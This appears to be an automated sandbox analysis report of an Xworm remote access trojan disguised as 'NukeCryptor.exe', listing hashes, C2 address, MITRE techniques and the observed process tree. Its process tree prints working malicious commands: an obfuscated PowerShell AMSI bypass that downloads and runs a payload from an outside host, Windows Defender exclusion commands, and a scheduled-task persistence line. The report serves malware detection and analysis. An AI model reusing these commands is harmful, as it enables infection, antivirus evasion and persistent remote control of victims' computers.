xworm | aefbc83f1cf4facc11486398011bea48b4eae99ff13bebff0981ebc837cd1ecf

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
08/03/2025, 19:14

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General

Target

NukeCrypter/NukeCryptor.exe
Size

519KB
MD5

5897585e89a0e475202fd43bebb8b5ec
SHA1

d3b45d759ee686d142849560e7d9e55e604cd4f7
SHA256

fa3d58def6d373cfadebc1fa095731594c0c281a4d4119278d88087597fbaded
SHA512

eab6e541a3c427adbc2fef42f203be247e8617cb76a51e8705cf547941fd1590f383ad48bf8d9b21d3df2bf33bebe61e6d86ac010aa54bffb42edb237952ea63
SSDEEP

12288:KX9eknz7sMClkSWOx08pHSsiI7nTdYDJgsIrXtG4an2aHzI+Nan11aQIYP:KXYOClkg7SsiuTkJgl84XmI+0n1UHY

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

45.137.201.27:2010

Mutex

NJSnJLx9hqfSdYjB

Attributes

Install_directory
%LocalAppData%
install_file
msedge.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral6/files/0x000500000001e0ff-30.dat	family_xworm
behavioral6/memory/2728-39-0x0000000000140000-0x000000000016E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2956	powershell.exe
3328	powershell.exe
4516	powershell.exe
1980	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
23	2788	Powermode.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	Powermode.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	msedge.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 4 IoCs

pid	Process
2788	Powermode.exe
2728	msedge.exe
116	msedge.exe
4596	msedge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	NukeCryptor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	NukeCryptor.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	NukeCryptor.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4708	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2788	Powermode.exe
2788	Powermode.exe
3328	powershell.exe
3328	powershell.exe
4516	powershell.exe
4516	powershell.exe
1980	powershell.exe
1980	powershell.exe
2956	powershell.exe
2956	powershell.exe
2728	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	Powermode.exe
Token: SeDebugPrivilege	2728	msedge.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2728	msedge.exe
Token: SeDebugPrivilege	116	msedge.exe
Token: SeDebugPrivilege	4596	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2728	msedge.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 1624	2560	NukeCryptor.exe	91
PID 2560 wrote to memory of 1624	2560	NukeCryptor.exe	91
PID 1624 wrote to memory of 2788	1624	cmd.exe	93
PID 1624 wrote to memory of 2788	1624	cmd.exe	93
PID 2788 wrote to memory of 2728	2788	Powermode.exe	96
PID 2788 wrote to memory of 2728	2788	Powermode.exe	96
PID 2728 wrote to memory of 3328	2728	msedge.exe	98
PID 2728 wrote to memory of 3328	2728	msedge.exe	98
PID 2728 wrote to memory of 4516	2728	msedge.exe	100
PID 2728 wrote to memory of 4516	2728	msedge.exe	100
PID 2728 wrote to memory of 1980	2728	msedge.exe	102
PID 2728 wrote to memory of 1980	2728	msedge.exe	102
PID 2728 wrote to memory of 2956	2728	msedge.exe	104
PID 2728 wrote to memory of 2956	2728	msedge.exe	104
PID 2728 wrote to memory of 4708	2728	msedge.exe	107
PID 2728 wrote to memory of 4708	2728	msedge.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\NukeCrypter\NukeCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\NukeCrypter\NukeCryptor.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\my_script.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2788
  - - C:\Users\Admin\AppData\Roaming\msedge.exe
      "C:\Users\Admin\AppData\Roaming\msedge.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2956
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4708

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:116

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\Powermode.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\ProgramData\my_script.bat

Filesize
729B

MD5
092cabe7fe4773b78ff62f414633572f

SHA1
c9f77f261d45e394086f7bb23eb91b80b8d0b318

SHA256
85d5ee43057001a08fa00e02a4aaf7d84a2d4407f662fa9c22b16b22a9d0738b

SHA512
e5d1b866e5a50243f953b67f191c4185aecdc828e5641cae6f78486f71f337f3efedbcb6051586b886a3c321db6fb17f9fe276cbc9954e0abb41e0813589a022

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d80c45e0e047b75073a3d1c2710c68f

SHA1
babc73cf30327b36d184239a2747ec94d48929f4

SHA256
6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

SHA512
5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a90d370b656f3927f00f99fcb32180fb

SHA1
8e37d43979a71a1c7e8a74907e58dd79a2d490a0

SHA256
c8b6998e0371f7f9edcdbf674db31aab7665dad04c31cd4df5b3e4477b94f359

SHA512
dd90e4e4086acafbf02e89110c3ddf96a1e5646492349548f9a11aa32475d393c9a4a97df938d3effbc0055a08104b5d11a353f9596f692edd6860a67942bc38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
04114c0529b116bf66d764ff6a5a8fe3

SHA1
0caeff17d1b2190f76c9bf539105f6c40c92bd14

SHA256
fd7092b4e273314186bad6ce71aa4cd69450736b6ec6cc746868997ff82a7532

SHA512
6a718c330824346606ef24f71cca6be0bfafc626b1d2b060b36e919ab07f3d6a345f56cace8a5a84ffbe2183976eb197842c9fd2f3e3b8c8dd307057d59d6f26

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
10890cda4b6eab618e926c4118ab0647

SHA1
1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

SHA256
00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

SHA512
a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exwxzhoy.qkp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\msedge.exe

Filesize
165KB

MD5
22a01fdc6d06f445af5de9759799225f

SHA1
1dde5be9d7c8a7ae68332c92a6e1263f24705f7c

SHA256
682acd04365f06fd83daa81b7bbd71665a60e729d6d4ecc3693eb486b8d4a13f

SHA512
e602f9d32b78c8d317698337ea2eb02b6bbf72cae13d3a5c3e3cee39c2445a8c2d85514eb7c741125364fee2f83582ce6a41154128a6c88c257cb5e41eb8f2d6

Download Submit
memory/2560-3-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2560-88-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2560-1-0x0000000000DA0000-0x0000000000E26000-memory.dmp

Filesize
536KB

Download
memory/2560-94-0x0000000067740000-0x000000006838B000-memory.dmp

Filesize
12.3MB

Download
memory/2560-5-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2560-2-0x000000001BEF0000-0x000000001C104000-memory.dmp

Filesize
2.1MB

Download
memory/2560-0-0x00007FFA5F9B3000-0x00007FFA5F9B5000-memory.dmp

Filesize
8KB

Download
memory/2560-93-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2560-76-0x00007FFA5F9B3000-0x00007FFA5F9B5000-memory.dmp

Filesize
8KB

Download
memory/2560-4-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2728-104-0x000000001AD70000-0x000000001AD7C000-memory.dmp

Filesize
48KB

Download
memory/2728-39-0x0000000000140000-0x000000000016E000-memory.dmp

Filesize
184KB

Download
memory/2788-40-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2788-13-0x000001B2A0DF0000-0x000001B2A0E12000-memory.dmp

Filesize
136KB

Download
memory/2788-24-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2788-23-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download
memory/2788-25-0x00007FFA5F9B0000-0x00007FFA60471000-memory.dmp

Filesize
10.8MB

Download